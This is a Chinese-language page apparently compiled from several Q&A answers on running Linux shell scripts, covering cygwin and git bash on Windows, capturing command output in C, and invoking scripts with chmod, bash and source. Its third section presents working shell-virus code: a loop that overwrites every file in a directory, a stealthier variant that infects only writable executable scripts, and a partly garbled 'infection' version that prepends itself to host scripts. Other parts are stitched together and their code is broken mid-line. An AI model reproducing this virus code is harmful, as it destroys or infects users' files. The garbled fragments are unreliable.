1.如何在Windows下运行linux shell脚本
可以使用模拟器软件: cygwin方法/步骤1打开/,下载cygwin对应于自己windows操作系统的版本:32位或64位(cygwin是一个在windows平台上运行的unix模拟环境,是cygnus solutions公司开发的自由软件)2按提示安装好cygwin3打开cygwin,就可以看到熟悉的命令行提示了,shell环境对应的根目录是软件的安装目录4开始使用linux命令:grep、awk、less、vi等等,如果发现有缺少什么命令,重新运行setup.exe安装程序,搜索需求的命令,叉选上即可安装。
2.linuxC程序中如何获取shell的脚本输出呢?
Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作。
比如实现一个ping程序来测试网络的连通性,实现ping函数需要写上200~300行代码,为什么不能直接调用系统的ping命令呢?通常在程序中通过 system函数来调用shell命令。 但是,system函数仅返回命令是否执行成功,而我们可能需要获得shell命令在控制台上输出的结果。
例如,执行外部命令ping后,如果执行失败,我们希望得到ping的返回信息。 使用临时文件 首先想到的方法就是将命令输出重定向到一个临时文件,在我们的应用程序中读取这个临时文件,获得外部命令执行结果,代码如下所示: #define CMD_STR_LEN 1024 int mysystem(char* cmdstring, char* tmpfile) { char cmd_string[CMD_STR_LEN]; tmpnam(tmpfile); sprintf(cmd_string, "%s > %s", cmdstring, tmpfile); return system(cmd_string); }。
3.感染Linux系统脚本程序的病毒的原理是什么?
我们来看一个最原始的shell病毒,代码最能说明问题: #shellvirus I for file in * do cp $0 $file done简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件。
但是,我们知道linux是多用户的操作系统,它的文件是具有保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染。 所以我们可以为该脚本做个判断,这样隐蔽性就大大增强了: #shellvirus II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >。
mmm then cp $0 $file fi; fi; fi; fi; fi done rm 。mmm -fok。
我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的。 if grep -s echo $file>/。
mmm 这句也可以这样写: if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell脚本程序。 但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码: #infection head -n 24 $0 > 。
test 。mmm 。
mm 。mmm 。
SAVEE $file cat 。SAVEE >> $file fi; fi; fi; fi; fi done rm 。
test 。SAVEE 。
mmm 。mm -f程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵。
不过危害性已经相当大了。这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来。
4.windows怎么运行shell脚本
Linux的shell脚本提供了大量方便的工具,如:awk、grep、more、tail、wc等等,方便用户对文件、数据的分析,但是windows相对来说就没那么方便,要分析一个数据可能需要自己编程、编译然后才能对一些数据进行分析,对于一些轻量级的数据,不如shell脚本好用。
工具/原料cygwin方法/步骤打开/,下载cygwin对应于自己windows操作系统的版本:32位或64位(cygwin是一个在windows平台上运行的unix模拟环境,是cygnus solutions公司开发的自由软件)安提示安装好cygwin打开cygwin,就可以看到熟悉的命令行提示了,shell环境对应的根目录是软件的安装目录开始使用linux命令:grep、awk、less、vi等等,如果发现有缺少什么命令,重新运行setup.exe安装程序,搜索需求的命令,叉选上即可安装。
5.windows上怎么执行shell脚本
在工作中情况会在碰到linux下进行执行shell的脚本,而就会使用shell的脚本,但经常使用的Windows的系统,而想在Windows电脑中进行直接shell的脚本,而不用再进行学习其它的脚本语言。
工具/原料
Windows
git
方法/步骤
1、首先电脑中需要安装的是git的应用程序,安装完成之后,可以在开始菜单进行查看。
2、并需要配置好git的bin,配置环境变量,把bin的绝对路径复制到环境变量中path。
3、配置git的环境变量之后,在任意文件进行创建一个为mkdir.sh,文件名可以是随意的结尾需要为.sh。
4、然后在sh的文件中进行输入#!/bin/shtouch a.txtsleep 10echo "testtesttesttest">>a.txt创建一个为txt文件,然后testtesttesttest写入到txt文件中。
5、然后进行双击.sh的文件,会弹出git的命令窗口,根据代码的执行的时间窗口显示多久。
6、然后就会自动生成一个a.txt的文件。
7、并会在a.txt文件中写入为“testtesttesttest”的一段文字。
6.如何运行shell脚本
编写好的shell脚本(如:test),可以采取两种方式进行运行: 一、$ sh test 一般不采用这种调用方式,尤其不采用“sh 也可以采用 $ ksh test 这种方式要求shell具有“可读”的访问权限。 二、直接运行可执行的shell脚本之前,首先应使用下列chmod命令,把shell脚本文件设置为可执行的文件。 chmod 755 test(除文件属主可写之外,每个用户均具有读和可执行的访问权限) chmod +rx test(同上) chmod u+rx test(只有文件属主具有读和执行的访问权限) 按照上述要求设置shell脚本文件的访问权限后,可采用下列方式,直接运行shell脚本了。 1、test(如果命令检索路径包含当前目录) 2、./test(如果命令减缩路径不包含当前目录) *说明: sh test 方式调用一个shell叫蹦可能会禁止某些shell特定的扩展功能,因而可能引起脚本无法正确执行。 首先脚本需要有执行权限chmod u+x file.sh 执行脚本有三种方法: 1. ./file.sh 特点:开启bash子进程来执行,也就是开启额外的进程来进行,不影响原进程的变量、配置等 2. bash file.sh 特点:和./file.sh相同 3. source file.sh 或者 . file.sh 特点:在原bash进程中执行脚本。 第三种方法主要用于在脚本中切换用户su、切换目录cd等命令。 source 和 . 命令是相同的。 你可以搜索 source 补充,如何查看脚本运行是否开启了bash子进程 vim file.sh 写入 #!/bin/bash #echo $$命令会输出bash进程ID echo $$ 保存并赋予可执行权限chmod u+x file.sh 在你的shell中输入,echo $$ 屏幕输出4176 ./file.sh 屏幕输出3600 bash file.sh 屏幕输出3984 source file.sh 屏幕输出4176 和 你直接在shell中输出的一样,说明是在同一个bash进程 转载请注明出处windows之家 » win10怎么运行shellhook脚本7.如何在Windows下运行linux shell脚本